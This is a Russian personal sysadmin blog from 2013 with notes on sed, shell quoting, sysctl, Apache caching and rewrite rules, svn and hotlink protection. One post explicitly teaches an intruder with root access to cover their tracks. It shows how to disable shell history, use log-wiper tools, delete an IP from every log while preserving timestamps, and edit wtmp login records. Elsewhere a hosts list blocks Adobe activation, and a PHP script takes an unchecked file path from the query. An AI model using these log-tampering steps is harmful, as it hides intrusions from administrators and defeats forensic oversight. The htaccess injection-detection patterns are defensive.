вторник, 30 июля 2013 г.

Sed mans

Команда s - substitution (замена)
sed s/ОБРАЗЕЦ/ЗАМЕНА/

Sed использует в качестве разделитея первый символ после s (кроме обратного слеша \ и символа новой строки):
sed -i "s/строка/новая строка/g" file
тоже самое
sed -i "s#строка#новая строка#g" file
-i заставляет sed делать замену в исходном файле без вывода на экран.

Обратный слеш перед разграничительным символом, отменяет его спецзначение.
\xabc\xdefx
выведет abcxdef

По умолчанию команда s заменяет только первое совпадение, чтобы заменить все найденные совпадения используется модификатор /g
$ echo кот этот, был самый обычный кот | sed 's/кот/котенок/g'

котенок этот, был самый обычный котенок


Опция -n отменяет вывод на стандартный выход.  
Модификатор /p - Если замена имела место, то вывести результат.

Вывести только те строки, где произошла замена.
sed -n 's/gnome/penguin/p' file

Использование символа & когда искомый ОБРАЗЕЦ неизвестен

Символ & (амперсанд), будучи помещен в состав ЗАМЕНЫ, означает любой найденный в тексте ОБРАЗЕЦ.
"& " - Заменяется на строку, указанную в регулярном выражении. 
Например:
$ echo 1234 | sed 's/[0-9]*/(&)/'
(1234)


Числовой модификатор

Это число от 1 до 512, которое ставится после последнего разделителя и указывает, какое по счету совпадение подлежит замене.
$ echo очень глупый пингвин | sed 's/[а-я]*/хороший/2'
очень хороший пингвин

Можно комбинировать цифровой модификатор с модификатором /g. Если нужно оставить неизменным первое слово, а второе и последующие заменить на слово "(удалено)", то команда будет такая:
$ echo очень глупый пингвин | sed 's/[а-я]*/(удалено)/2g'
очень (удалено) (удалено)

Модификатор d

Удаляет строки по регулярному выражению
sed '/pattern/d'


Команда ! (отрицание)

Символ восклицательного знака (!) инвертирует выбор
Замена "foo" на "bar" ИСКЛЮЧАЯ строки содержащие "baz":
sed '/baz/!s/foo/bar/g'
Удалим все строки кроме второй.
$ sed '2 !d' text.txt
Замена "foo" на "bar" ТОЛЬКО для строк содержащих "baz": Заменить все совпадения в файле twpol.txt с аргументами из файла grlog4 на префикс # плюс аргумент
cat grlog4 | while read i; do sed -i -e "s&$i&#$i&g" twpol.txt;done

Кавычки в Unix

Кавычки, обрамляющие строку, предотвращают интерпретацию специальных символов, которые могут находиться в строке.
Символ называется "специальным", если он не только означает самого себя но и имеет дополнительное значение для программ, например символ шаблона -- *.

Двойные кавычки отменяют все спец символы, кроме $ и \.

Одиночные кавычки (' '), по своему действию схожи с двойными кавычками, но не разрешают внутри себя подстановку переменных, интерпретируя символ "$", как обычный символ. Любой символ внутри одинарных кавычек, за исключением символа одинарной кавычки, воспринимается как обычный символ.
Одинарные кавычки являются более строгим вариантом двойных кавычек.

Многие программы в передаваемых им параметрах, используют специальные символы, в этом случае нужно заключать их в кавычки, что-бы системная оболочка их не трогала, оставляя для вызываемой программы.
grep '[Tt]*' ./[Bb]*

Кроме вышесказанного, кавычки используются для предотвращения разбиения строки на слова:
var="is a variable"

echo this $var # здесь команде передается  4 аргумента

echo "this $var"  # а тут один
this is a variable # здесь на выходе мы получаем 4 слова
this is a variable # а здесь одну строку

При обращении к переменным, желательно использовать двойные кавычки. Это позволит не интерпретировать специальные символы, содержащиеся в именах переменных, за исключением символов $


# ls /etc\ /root
вернет /etc/root

Очень часто символ экранирования \ ( обратный слэш ), используется для ввода из командной строки многострочных команд, экранируя символ новой строки:
# ls /etc\\n/root
вернет /etc/root

Вообще если одна из строк многострочной команды заканчивается символом конвейера " | ", экранировать символ новой строки не обязательно, это просто считается хорошим тоном, и применимо только к оболочке bash

воскресенье, 28 июля 2013 г.

sysctl

sysctl используется для изменения параметров ядра во время выполнения. Доступные параметры перечислены в /proc/sys/. Для поддержки sysctl(8) в Linux необходима поддержка файловой системы procfs. sysctl может использоваться как для чтения, так и для записи параметров ядра. 
-n
    Не выводить имена ключей при выводе их значений. 
-e
    Игнорировать ошибки, связанные с неизвестными ключами. 
-N
    Выводить только имена. Это может быть полезно для оболочек, поддерживающих настраиваемое автодополнение. 
-q
    Не выводить устанавливаемые значения на стандартный вывод. 
-v
    Выводить устанавливаемые значения на стандартный вывод. 
-w
    Этот параметр используется для изменения значений ключей. 
-p
    Загрузить настройки из указанного файла или /etc/sysctl.conf, если файл не указан. 
-a
    Вывести все доступные в данный момент настройки. 
-A
    Вывести все доступные в данный момент настройки в табличном виде. 

Примеры:
/sbin/sysctl -a
/sbin/sysctl -n kernel.hostname
/sbin/sysctl -w kernel.domainname="example.com"
/sbin/sysctl -p /etc/sysctl.conf 
Перед добавлением правил следует удостовериться, поддерживает ли их sysctl на вашей системе.
sysctl -a | grep ...

пятница, 26 июля 2013 г.

Чистим логи в Linux

Первое что нам необходимо сделать после получения рут привилегий это:

Отключить сохранение команд текущей сессии в истории Bash:
unset HISTFILE
или
export HISTFILE=/dev/null
export MYSQL_HISTFILE=/dev/null 

freebsd
setenv histfile /dev/null
setenv MYSQL_HISTFILE /dev/null

Далее после работы, нам нужно очистить логи с записями о нашем присутствии в системе. Сделать это можно двумя способами:
1. С помощью специальных утилит (Log Wiper,Log Cleaner, etc)
2. В ручную

Не помешает также подчистить .bash_history, в котором сохраняется история команд.

Далее перед отключением делаем:
kill -9 $$
kill -9 $$ - это выход из консоли без без сохранения истории, где $$ идентификатор текущего процесса консоли.

Если вы решили довериться утилитам, то можно воспользоваться одной из этих утилит:
http://packetstormsecurity.com/UNIX/penetration/log-wipers/
Наиболее популярные: vanish , whitecat

Рассмотрим whitecat. Она поддерживает FreeBSD, Linux, SOLARIS.
Последняя версия 1.1: http://forum.antichat.ru/threadnav36595-4-10.html
Пути к логам находятся в массиве APACHE_PATH[] (стр. 54, файл witecat.c). Чтобы добавить новый путь - просто добавьте строчку в массив, соблюдая запятые. Во время работы при попытке обработать несуществующий путь ошибки не вываливаются.  
Компиляция: gcc whitecat.c -o whitecat
Запуск(например хотим почистить свой ip в логах):
./whitecat -u root -a 127.0.0.1

Для ручной чистки можно использовать следующие команды:
egrep -rl "127.0.0.1" /var | while read f; do sed -e '/127.0.0.1/d' $f>1.back;touch -r $f time.tmp;mv -f 1.back $f;touch -r time.tmp $f;rm -f time.tmp;done
Если остаются пустые строчки - их тоже можно удалить:
sed '/^$/d' new
Обратите внимание, мы не используем mv, для затирания файлов, тк после этой команды не производится дальнейшая запись в логи.  После команды mv запись продолжается в переименованный файл и только по SIGHUP демон переключается на новый файл лога.

Описание системы ведения логов

В Unix программы могут вести свои собственные логи или использовать для этого демон syslogd. С помощью этого демона любые другие демоны или службы могут заносить в общие логи (файлы журналов) свою информацию. Таким образом для всех программ можно установить единый метод регистрации событий, за что и отвечает syslogd. Итак сислог-демон распределяет события по категориям и важности (приоритетам), а также в зависимости от конфигурации решает куда отправить запись о данном событии. Все настройки, отвечающие за это, хранятся в файле /etc/syslog.conf. Посмотрим на пример конфигурационного файла syslog'a, который мы взяли из Red Hat linux 9.0 установленного с дефолтными параметрами:
# Log all kernel messages to the console.
# Logging much else clutters up the screen.
#kern.* /dev/console

# Log anything (except mail) of level info or higher.
# Don't log private authentication messages!
*.info;mail.none;authpriv.none;cron.none /var/log/messages

# The authpriv file has restricted access.
authpriv.* /var/log/secure

# Log all the mail messages in one place.
mail.* /var/log/maillog


# Log cron stuff
cron.* /var/log/cron

# Everybody gets emergency messages
*.emerg *

# Save news errors of level crit and higher in a special file.
uucp,news.crit /var/log/spooler

# Save boot messages also to boot.log
local7.* /var/log/boot.log
Слева пишется категория и привилегия события, а справа - файл куда это событие заносится:
катeгория.приоритет адрес_лог_файла
Звездочка, как можно легко догадаться, означает все категории или все приоритеты. Теперь немного поподробнее о категориях:

auth - сообщения о нарушении авторизации доступа;
authpriv - сообщения о привилегированном доступе;
cron - сообщения демона крон;
daemon - сообщения других демонов;
kern - сообщения ядра;
lpr - сообщения системы печати;
mail - сообщения почтовых программ;
news - сообщения новостных программ;
syslog - сообщения самого демона сислог;
security - тоже самое что и auth (не должно использоваться в новых системах);
user - сообщения программ юзеров;
uucp - сообщения UUCP;
local0-local7 - определяется для конкретной системы.

Почти понятно? Тогда рассмотрим уровни приоритетов:
emerg - системе амбец;
alert - нужно срочное вмешательство;
crit - состояние критично и представляет угрозу работе системы;
err - сообщение об ошибках;
warnity - предупреждение;
notice - состояние допустимое, но админ должен это увидеть;
info - просто информация;
debug - отладочные сообщения;
none - нет приоритета.
Таким образом, настройки файла /etc/syslog.conf определят заносить ли какое-либо конкретное сообщение в файл журнала или нет.

 Теперь посмотрим куда могут отправляться сообщения.
/путь/имя_файла - сообщения записываются в лог-файл;
/dev/console (что в нашем примере) - сообщение передается на терминал (т.е. их можно увидеть на мониторе, подключенном к данной машине);
root,user1,user2 - имена пользователей, на терминал которых будет выводиться сообщение;
* - сообщения выводятся на терминалы всех пользователй (см. пример с *.emerg);
mail.=info                   /dev/tty12

| - знак конвеера означает, что сообщение передается другой программе (например | "mail root" - сообщение передается руту по почте);
@имя_хоста - сообщения отправляются на удаленный компьютер (демону syslogd).
Последнее и есть самая опасная вещь - логи удастся почистить только если взломать второй хост.
*.*             @megalohost

Рекомендуется также заглянуть в файл /var/log/messages, где могут сохраниться системные сообщения от применения эксплойтов или других действий.

  /var/log/lastlog
lastlog — содержит записи о времени последнего входа в систему для каждого пользователя. Этот файл содержит только одну запись для каждого пользователя.

/var/log/wtmp/
wtmp — содержит записи обо всех входах в систему (и выходах из системы) по пользователям. На загруженном компьютере этот файл имеет большой размер, поскольку содержит по одной записи входа и одной – выхода из системы. Файл также содержит дополнительную системную информацию, такую как перезагрузка, выключение и изменение даты.

/var/run/utmp 
Файл utmp позволяет получать информацию о том, кто в данный момент работает в системе. Пользователей, в данное время использующих систему, может быть большое количество, поскольку не все программы используют регистрацию через utmp.

Файл /var/log/btmp записывает неправильные регистрации. 

При входе пользователя в систему открывается файл lastlog, и в нем обновляется запись о дате и времени входа. Затем открывается файл utmp, и в него записывается информация о текущем нахождении в системе. Запись о входе в систему (как правило, копия информации, добавленной в lastlog) записывается также в журнал wtmp для регистрации входа в систему.
При выходе пользователя из системы запись о нахождении в системе, внесенная в utmp, удаляется (с этого момента пользователь не зарегистрирован в системе), а в wtmp вносится дополнительная запись для регистрации того, что пользователь вышел из системы. 

Мы можем отредактировать wtmp файл вручную с помощью утилиты fwtmp.

Преобразуем двоичный файл wtmp в текстовый файл:
fwtmp < wtmp.mmdd > wtmp.new
Команда fwtmp преобразует wtmp из двоичного кода в текстовый формат.
Отредактируйте текстовый файл wtmp.new, удалив/отредактировав нужные записи
Преобразуем текстовый файл wtmp.new обратно в двоичный формат:
fwtmp -ic < wtmp.new > wtmp.mmdd
Если файл wtmp восстановить невозможно, то с помощью команды nulladm создайте пустой файл wtmp:
nulladm wtmp

Утилита wtmpfix поможет скорректировать согласованность системной даты и времени в файле wtmp, если в нем появились ошибки.

http://xaknotdie.org/defaced/3/d3_09.html 

Правильная очистка файлов с логами

> cp /var/log/messages /var/log/messages.old
> echo "" > /var/log/messages
Это абсолютно не правильно. Здесь есть риск потери информации, в то время как при таком раскладе:
mv /var/log/messages /var/log/messages.old
cat /dev/null > /var/log/messages
kill -HUP $syslog_pid
нет риска потери информации.

Все дело в том, что после команды mv запись продолжается в переименованный файл и только после SIGHUP демон переключается на новый.
 

понедельник, 22 июля 2013 г.

Emma Hewitt - Colours (Armin Van Buuren mix ) Brakedown


Порядок выполнения деректив mod_rewrite

  1. RewriteRule
  2. RewriteCond (хоть он и идет первым в конфигах, но выполняется после RewriteRul)
  3. RewriteBase (в конце обработки RewriteBase дописывает к результату указанный путь)
При составлении более-менее сложных конфигураций mod_rewrite важно понимать, что изменение запроса не заканчивается на последнем RewriteRule. После того, как сработало последнее правило RewriteRule и был добавлен RewriteBase, mod_rewrite смотрит, изменился запрос или нет. Если запрос изменился, его обработка начинается заново с начала файла .htaccess.

Apache поступает так, потому что в процессе изменения запроса он мог быть перенаправлен в другую директорию. В ней может быть собственный .htaccess, который не участвовал в предыдущей обработке запроса. В этом же новом .htaccess могут быть правила, которые влияют на обработку запроса — как правила mod_rewrite, так и правила других модулей. Чтобы корректно обработать эту ситуацию, Apache должен запустить весь цикл обработки заново.

— Постойте, но ведь есть флаг [L], который останавливает обработку запроса mod_rewrite'ом!

Не совсем так. Флаг [L] останавливает текущую итерацию обработки запроса. Однако если запрос был изменен теми RewriteRule, которые все-таки успели отработать, Apache запустит цикл обработки запроса заново с первого RewriteRule.

http://habrahabr.ru/company/sprinthost/blog/129560/

htaccess 6 - RewriteBase

После того как все преобразования произведены и выполнено последнее RewriteRule, вступает в силу RewriteBase.

Если получившийся после преобразований запрос является относительным и отличается от исходного, RewriteBase добавит себя к нему слева. Нужно обязательно указывать RewriteBase в .htaccess. Его значение — путь от корня сайта до .htaccess.
RewriteBase выполняется только после всех RewriteRule, а не между ними.
Если путь абсолютный, RewriteBase ничего не делает.

    images/logo.gif — относительный.
    /images/logo.gif — абсолютный (в начале слеш).
    http://example.com/images/logo.gif — самый абсолютный из всех.

Что будет, если не указать RewriteBase? По умолчанию Apache делает его равным абсолютному пути на файловой системе до .htaccess (например, /var/www/example.com/templates/).

htaccess 5 - RewriteMap

Директива RewriteMap - ассоциативный массив преобразований, который может быть использован в правилах преобразований.
http://httpd.apache.org/docs/current/rewrite/rewritemap.html

Краткий справочник svn (subversion)

svn checkout http://repository.url/svn/name — извлекаем файлы проекта из репозитория, сокращение: svn co;
svn update — получаем обновления из репозитория, сокращение: svn up;
svn update -r rev_num ./file_name — извлекаем ревизию файла с номером rev_num;
svn add ./file_name — добавляем файл в репозиторий (не важно текстовый или бинарный);
svn commit ./file_name — заливаем файл в репозиторий (не важно текстовый или бинарный);
svn rename ./old_file_name ./new_file_name — переименовываем файл в репозитории;
svn remove ./file_name — удаляем файл/директорию из репозитория;
svn status — просматриваем локально измененные файлы, сокращение: svn st;
svn status -u — просматриваем локально измененные и изменившиеся в репозитории файлы, сокращение: svn st -u;
svn diff ./file_name — показывает локальные изменения в файле построчно;
svn diff -r rev_num1:rev_num2 ./file_name — показывает различия между ревизией rev_num1 и rev_num2 файла;
svn revert ./file_name — откатывает локальные изменения файла (выгружает из репозитория последнюю закоммиченную ревизию);
svn revert -R ./ — откатывает все локальные изменения файлов;
svn log ./file_name — список ревизий с комментариями;
svn blame ./file_name — показывает авторов изменений файла построчно, синоним: svn annotate;
svn propset svn:ignore ./file_name . — добавляем файл в список игнорируемых файлов;
svn propset svn:keywords "Id Author Date" ./file_name — установка атрибутов файла;
svn cleanup — снимает блокировки с файлов;
svn unlock http://repository.url/svn/file_name — снять блокировку файла (URL можно узнать с помощью команды svn info ./file_name | grep URL, его и нужно передавать в svn unlock);
svnadmin setlog --bypass-hooks /path/to/repository -r rev_num ./commit_text_file — заменяет текстовое описание коммита, где rev_num — номер ревизии, commit_text_file — путь к файлу, содержащему новый комментарий к коммиту;
svn help command_name — выводит помощь по команде command_name, например, «svn help update»;
svn merge -r rev_to_rollback:rev_good ./file_name — откатываем ревизию номер rev_to_rollback до ревизии rev_good, причем все изменения старше rev_to_rollback сохраняются (Например, у файла есть ревизии 11,12 и 13. Хотим откатить 12-ую ревизию, но так, что бы изменения 13-ой остались в силе. Делаем тогда так: svn merge -r 12:11 ./file_name);
svn copy http://repository.url/svn/name/trunk/ http://repository.url/svn/name/branches/new_branch_name/ — создаем ветку с названием new_branch_name из главной линии разработки;
svn merge --dry-run -r rev_num1:rev_num2 http://repository.url/svn/name/trunk/ — проверяем, что будет изменено при объединении веток, где rev_num1 — номер ревизии, когда ваша ветка была «открыта», или это м.б. номер предыдущего объединения (слияния), rev_num2 — версия главной линии разработки, с которой производим объединение. Необходимо отметить, что все изменения будут применены для директории, в которой выполнялась эта команда;
svn merge -r rev_num1:rev_num2 http://repository.url/svn/name/trunk/ — синхронизирует вашу ветку с главной линией разработки с учетом ревизий: rev_num1 — номер ревизии, когда ваша ветка была «открыта», или это м.б. номер предыдущего объединения (слияния), rev_num2 — версия главной линии разработки, с которой производим объединение. Необходимо отметить, что все изменения будут применены для директории, в которой выполнялась эта команда;


Server: name in HTTP header response (Server: Apache)

We can change it to own name using mod_security and SecServerSignature derective in modsecurity.conf file:
SecServerSignature Akunamatata
and change ServerTokens parametr in httpd.conf to
ServerTokens Full

Определение ОС

OS Fingerprints - http://bugtraq.ru/library/security/finger.html


Способ первый: допустим, на сервере запушен www-сервис. Ты знаешь, что типов операционных систем всего два: Win и Unix, а одно из их существенных отличий - это то, что Unix, чувствителен к регистру, т.е. если в Win "file.txt" и "FILE.TXT" - одно и тоже, то в Unix - это два разных файла. Поэтому, Если к примеру ты просматриваешь страничку www.target.com/help.htm, просто попробуй изменить "help.htm" на "Help.htm" - если увидишь "Страница не найдена" - значит перед тобой Unix, в противном случай догадайся сам ;-)
Плюсы: абсолютная надежность и простота
Минусы: определяется только тип ОС

Способ второй: запушенные сервисы. Просканируй цель на предмет открытых портов - открытый порт это и есть сервис. Некоторые сервисы являются специфичными для определенного вида ОС, а по их версии можно определить с какой операционкой имеешь дело (Лучше всего именно так определять NT 4.0, 5.0). Кроме того, версию ОС иногда можно определить по баннеру сервиса (надписи, которую ты видишь когда соединяешься с данным сервисом - особенно этим грешит Ftp).
Плюсы: высокая надежность
Минусы: в случае с Unix`ом нельзя быть 100% уверенным, что исходя из версии сервиса ты сделал единственно правильный выбор

Способ третий: Netcraft - web-сервис
http://searchdns.netcraft.com/?restriction=site+contains&host=.ru&lookup=wait..&position=limited
Минусы: на сервере должен быть запущен www-сервис

Параметры TCP/IP


Следующие настройки помогут затруднить определение ОС для различных сканеров.

Для затруднения идентификации используемой ОС необходимо внести следующие изменения в файл /etc/sysctl.conf:
Игнорируем бродкастовые ICMP пакеты:
net.ipv4.icmp_echo_ignore_broadcasts = 1
Блокируем TCP SYN атаки:
net.ipv4.tcp_syncookies = 1
Блокируем ICMP редиректы:
net.ipv4.conf.all.accept_redirects = 0
net.ipv4.conf.default.accept_redirects = 0
Отключаем uptime:
net.ipv4.tcp_timestamps = 0
Меняем TTL (Time to live) с 64 на 128:
net.ipv4.ip_default_ttl = 128
Скорость генерации ICMP:
net.ipv4.icmp_ratelimit = 70
Для вступления изменений в силу перезагрузите компьютер либо выполните:
# sysctl -p
telnet - Identify remote web server
$ telnet www.vivekgite.com www
HEAD / HTTP/1.0
Output:
HTTP/1.0 200 OK
Connection: close
X-Pingback: http://www.cyberciti.biz/tips/xmlrpc.php
Content-Type: text/html; charset=UTF-8
Content-Length: 0
Date: Mon, 28 Jan 2008 08:50:55 GMT
Server: lighttpd
Connection closed by foreign host.
curl - Identify remote web server 
$ curl -I http://www.remote-server.com/
$ curl -I http://vivekgite.com/

Output:
HTTP/1.1 200 OK
Content-type: text/html
Content-Length: 0
Date: Mon, 28 Jan 2008 08:53:54 GMT
Server: lighttpd

Cache control with apache

mod_expires - модуль Apache, позволяющий указывать HTTP-заголовки Expires, давая указания кешировать статические файлы в пользовательском браузере. В результате работы модуля имеем снижения трафика и увеличение скорости отображения страниц. По умолчанию, Apache собирается уже с поддержкой mod_expires. Мы можем проверить его наличие командой:
httpd -M | grep mod_expires

Расположение файла httpd.conf:
httpd -V | grep ROOT

# кеширование в браузере на стороне пользователя
<IfModule mod_expires.c>

#Подключаем модуль
ExpiresActive On

ExpiresDefault "access 7 days"
#по умолчанию кеш в 5 секунд
    ExpiresDefault "access plus 5 seconds"
    #кэшировать флэш и изображения на месяц
    ExpiresByType image/x-icon "access plus 2592000 seconds"
    ExpiresByType image/jpeg "access plus 2592000 seconds"
ExpiresByType image/jpg "access plus 1 year"
    ExpiresByType image/png "access plus 2592000 seconds"
    ExpiresByType image/gif "access plus 2592000 seconds"
    ExpiresByType application/x-shockwave-flash "access plus 2592000 seconds"
    #кэшировать css, javascript и текстовые файлы на одну неделю
    ExpiresByType text/css "access plus 604800 seconds"
ExpiresByType text/x-javascript "access 1 year"
    ExpiresByType text/javascript "access plus 604800 seconds"
    ExpiresByType application/javascript "access plus 604800 seconds"
    ExpiresByType application/x-javascript "access plus 604800 seconds"
    #кэшировать html и htm файлы на один день
    ExpiresByType text/html "access plus 43200 seconds"
    #кэшировать xml файлы на десять минут
    ExpiresByType application/xhtml+xml "access plus 600 seconds"
</IfModule>
Короткая запись:
<ifmodule mod_expires.c>
<filesmatch ".(jpg|jpeg|gif|png|ico|css|js)$">
ExpiresActive on
ExpiresDefault "access plus 1 year"
</filesmatch>
</ifmodule>


Запретить любое кеширование:

<IfModule mod_headers.c>Header set Cache-Control: "no-cache, pre-check=0, post-check=0, max-age=0"
Header set Expires "Thu, 15 Apr 1999 20:00:00 GMT"
Header set Pragma: no-cache
Header unset ETag
Header unset Last-Modified
FileETag None</IfModule>
 
<IfModule mod_expires.c> 
ExpiresActive On 
ExpiresDefault "now"
</IfModule>  

mod_headers - this module provides directives to control and modify HTTP request and response headers. Headers can be merged, replaced or removed

http://httpd.apache.org/docs/2.2/mod/mod_headers.html
<ifModule mod_headers.c>
    #кэшировать html и htm файлы на один день
    <FilesMatch "\.(html|htm)$">
        Header set Cache-Control "max-age=43200"
    </FilesMatch>
    #кэшировать css, javascript и текстовые файлы на одну неделю
    <FilesMatch "\.(js|css|txt)$">
        Header set Cache-Control "max-age=604800"
    </FilesMatch>
    #кэшировать флэш и изображения на месяц
    <FilesMatch "\.(flv|swf|ico|gif|jpg|jpeg|png)$">
        Header set Cache-Control "max-age=2592000"
    </FilesMatch>
    #отключить кэширование
    <FilesMatch "\.(pl|php|cgi|spl|scgi|fcgi)$">
        Header unset Cache-Control
    </FilesMatch>
</IfModule> 
Pragma: no-cache - из старой версии протокола HTTP/1.0. Практически все браузеры и прокси игнорируют.  

ETag - уникальный хеш («отпечаток») байтов файла. При запросе файла с сервера, браузер сначала получает ETag хеш файла на сервере, если локальный и серверный хеши совпадают, то браузер берет файл из локального кеша, а сервер не отправляет файл.

FileETag MTime Size

Syntax: FileETag component ...

INode
    The file's i-node number will be included in the calculation
MTime
    The date and time the file was last modified will be included
Size
    The number of bytes in the file will be included
All
    All available fields will be used. This is equivalent to:

    FileETag INode MTime Size
None
    If a document is file-based, no ETag field will be included in the response

Директивы, допускаемые в запросах
Директива Описание
no-cache Сервер не должен использовать кэшированный ответ.
no-store Ответ на этот запрос не должен кэшироваться.
max-age=delta-seconds Клиент допускает кэшированный ответ, если его возраст не превышает delta-seconds секунд; клиент не требует его валидации.
max-stale=delta-seconds Клиент допускает кэшированный ответ, если его возраст не превышает delta-seconds секунд.
min-fresh=delta-seconds Клиент допускает кэшированный ответ, если он будет оставаться действительным не менее delta-seconds секунд от момента запроса.
no-transform К запрашиваемому документу не должны применяться преобразования.
only-if-cached Допускается только кэшированный ответ. Если подходящего ответа нет в кэше, то не нужна ни валидация старого ответа, ни получение нового.


Директивы, допускаемые в ответах
Директива Описание
public Ответ разрешается сохранять в любом кэше.
private Ответ разрешается сохранять только в закрытом кэше (т.е. только для этого пользователя).
no-cache Кэшированный ответ не должен использоваться без предварительной его валидации.
no-store Ответ не разрешается сохранять в кэше.
no-transform К передаваемому документу не должны применяться преобразования.
must-revalidate Если кэшированный ответ устарел, то к нему должна применяться процедура валидации. Эта директива отменяет действие max-stale.
max-age=delta-seconds Клиент допускает кэшированный ответ, если его возраст не превышает delta-seconds секунд; клиент не требует его валидации.
s-maxage=delta-seconds То же, что max-age, но действует только на открытые кэши.
proxy-revalidate То же, что must-revalidate, но действует только на прокси-сервера.

http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html
http://www.w3.org/Protocols/rfc2616/rfc2616-sec13.html#sec13.5.1
http://www.mnot.net/cache_docs/#PRAGMA
http://ru.wikipedia.org/wiki/%D0%A1%D0%BF%D0%B8%D1%81%D0%BE%D0%BA_%D0%B7%D0%B0%D0%B3%D0%BE%D0%BB%D0%BE%D0%B2%D0%BA%D0%BE%D0%B2_HTTP
http://ru.wikipedia.org/wiki/%D0%9C%D0%B5%D1%82%D0%B0-%D1%82%D0%B5%D0%B3%D0%B8#.D0.9Ce.D1.82a-.D1.82e.D0.B3_Pragma 

воскресенье, 21 июля 2013 г.

Prevent hotlinking with .htaccess

RewriteEngine on
//Disallow blank referrers, but I recommend to not use it.
RewriteCond %{HTTP_REFERER} !^$ [NC,OR]
//Sites allowed to link your images
RewriteCond %{HTTP_REFERER} !^http(s)?://(www\.)?yourdomain.com [NC,OR]
RewriteCond %{HTTP_REFERER} !^http(s)?://(www\.)?yourdomain2.com [NC]
//Change ‘http://hpmouse.googlepages.com/hotlink.gif‘ to a image you’ve set, and whenever image hotlinking is detected,
RewriteRule \.(jpg|jpeg|png|gif)$ http://hpmouse.googlepages.com/hotlink.gif [NC,R,L]

суббота, 20 июля 2013 г.

Sign your hotlinks - Watermark on the Fly in PHP

Yon need PHP 4+ and GD 2.0+ on your server
<?php  

header('content-type: image/jpeg');  

$watermark = imagecreatefrompng('watermark.png');  

$watermark_width = imagesx($watermark);  

$watermark_height = imagesy($watermark);  

$image = imagecreatetruecolor($watermark_width, $watermark_height);  

$image = imagecreatefromjpeg($_GET['src']);  

$size = getimagesize($_GET['src']);  

$dest_x = $size[0] - $watermark_width - 5;  

$dest_y = $size[1] - $watermark_height - 5;  

imagecopymerge($image, $watermark, $dest_x, $dest_y, 0, 0, $watermark_width, $watermark_height, 100);  

imagejpeg($image);  

imagedestroy($image);  

imagedestroy($watermark);  

?>

“RewriteCond $1 ^.*.(jpg|jpeg|gif|png|bmp)$”

Or with no rewritecond the rewriterule should be:

“RewriteRule ^.*.(jpg|jpeg|gif|png|bmp)$ /scripts/watermark.php?src=%{REQUEST_URI} [L]”

Шпаргалки cheat sheats Mod Rewrite .htaccess

Mod Rewrite .htaccess

The Chemical Brothers - The Test


пятница, 19 июля 2013 г.

Настройки для файла hosts в wondows

127.0.0.1 http://www.adobeereg.com
127.0.0.1 adobeereg.com
127.0.0.1 activate.adobe.com
127.0.0.1 practivate.adobe.com
127.0.0.1 ereg.adobe.com
127.0.0.1 activate.wip3.adobe.com
127.0.0.1 wip3.adobe.com
127.0.0.1 3dns-3.adobe.com
127.0.0.1 3dns-2.adobe.com
127.0.0.1 adobe-dns.adobe.com
127.0.0.1 adobe-dns-2.adobe.com
127.0.0.1 adobe-dns-3.adobe.com
127.0.0.1 ereg.wip3.adobe.com
127.0.0.1 activate-sea.adobe.com
127.0.0.1 wwis-dubc1-vip60.adobe.com
127.0.0.1 activate-sjc0.adobe.com
127.0.0.1 tns-counter.ru
127.0.0.1 www.tns-counter.ru
127.0.0.1 livejournal.sup.com
127.0.0.1 stat.livejournal.sup.com
127.0.0.1 counter.yadro.ru
127.0.0.1 74.125.163.86
127.0.0.1 8.ce.b4.a1.top.mail.ru
127.0.0.1 www.hitcounter.ru 
127.0.0.1 85ideas.com  
127.0.0.1 fxfeeds.mozilla.com
127.0.0.1 newsrss.bbc.co.uk
127.0.0.1 www.bbc.co.uk
127.0.0.1 wsrss.bbc.co.uk
127.0.0.1 luna.mail.ru
127.0.0.1 photo75.mail.ru
127.0.0.1 sitecheck2.opera.com
127.0.0.1 mu-in-f118.1e100.net
127.0.0.1 77.220.183.34
127.0.0.1 1e100.net
127.0.0.1 tsarfin.com
127.0.0.1 rmuuekotik
127.0.0.1 ugsdxkmvpl
127.0.0.1 ckenrwezzt
127.0.0.1 counter.rambler.ru
127.0.0.1 counter.glc.ru
127.0.0.1 d5.cd.bf.a0.top.mail.ru
127.0.0.1 hit10.hotlog.ru
127.0.0.1 null
127.0.0.1 de.c6.bb.a0.top.mail.ru
127.0.0.1 s-static.ak
127.0.0.1 g.live.com
127.0.0.1 shared.live.com
127.0.0.1 begun.ru
127.0.0.1 thumbs02.begun.ru
127.0.0.1 google-analytics.com
127.0.0.1 www.google-analytics.com
127.0.0.1 ssl.google-analytics.com
127.0.0.1 id.google.ru
127.0.0.1 clients4.google.com
127.0.0.1 sb-ssl.google.com
127.0.0.1 clients2.google.com
127.0.0.1 chatenabled.mail.google.com
127.0.0.1 suggestqueries.google.com
127.0.0.1 video-stats.video.google.com
127.0.0.1 p2.gygesawcxs5u6.xkbhduq3n7egsy7y.ds.ipv6-exp.l.google.com
127.0.0.1 ipv4.ipv6-exp.l.google.com
127.0.0.1 safebrowsing-cache.google.com
127.0.0.1 safebrowsing.clients.google.com  

Secure your site with htaccess

Некоторые правила в файле .htaccess могут значительно уменьшить количество "опасных" запросов на вашем сайте и отразить атаки скрипткиддисов.

#Base rules of anti mysqli and another
RewriteCond %{QUERY_STRING} (\|%3E) [NC,OR]
RewriteCond %{QUERY_STRING} ^.*(globals|encode|localhost|loopback).* [NC,OR]
RewriteCond %{QUERY_STRING} ^.*(request|select|insert|union|declare|drop).* [NC,OR]
RewriteCond %{QUERY_STRING} concat[^\(]*\( [NC,OR]
RewriteCond %{QUERY_STRING} union([^s]*s)+elect [NC,OR]
RewriteCond %{QUERY_STRING} union([^a]*a)+ll([^s]*s)+elect [NC,OR]
RewriteCond %{QUERY_STRING} ^.*(\[|\]|\(|\)|<|>|’|"|;|\?|\*).* [NC,OR]
RewriteCond %{QUERY_STRING} ^.*(&#x22;|&#x27;|&#x3C;|&#x3E;|&#x5C;|&#x7B;|&#x7C;).* [NC,OR]
RewriteCond %{QUERY_STRING} ^.*(%0|%A|%B|%C|%D|%E|%F|127\.0).* [NC,OR]
RewriteCond %{QUERY_STRING} .*=http.*(\:|%3A) [NC,OR]
RewriteCond %{QUERY_STRING} .*=https.*(\:|%3A) [NC,OR]
RewriteCond %{QUERY_STRING} .*=ftp.*(\:|%3A) [NC,OR]
RewriteCond %{QUERY_STRING} .*=sftp.*(\:|%3A) [NC,OR]
RewriteCond %{QUERY_STRING} .*jos_.* [NC,OR]
RewriteCond %{QUERY_STRING} .*users\+where\+gid.* [NC,OR]
RewriteCond %{QUERY_STRING} .*proc/self/environ.* [NC,OR]
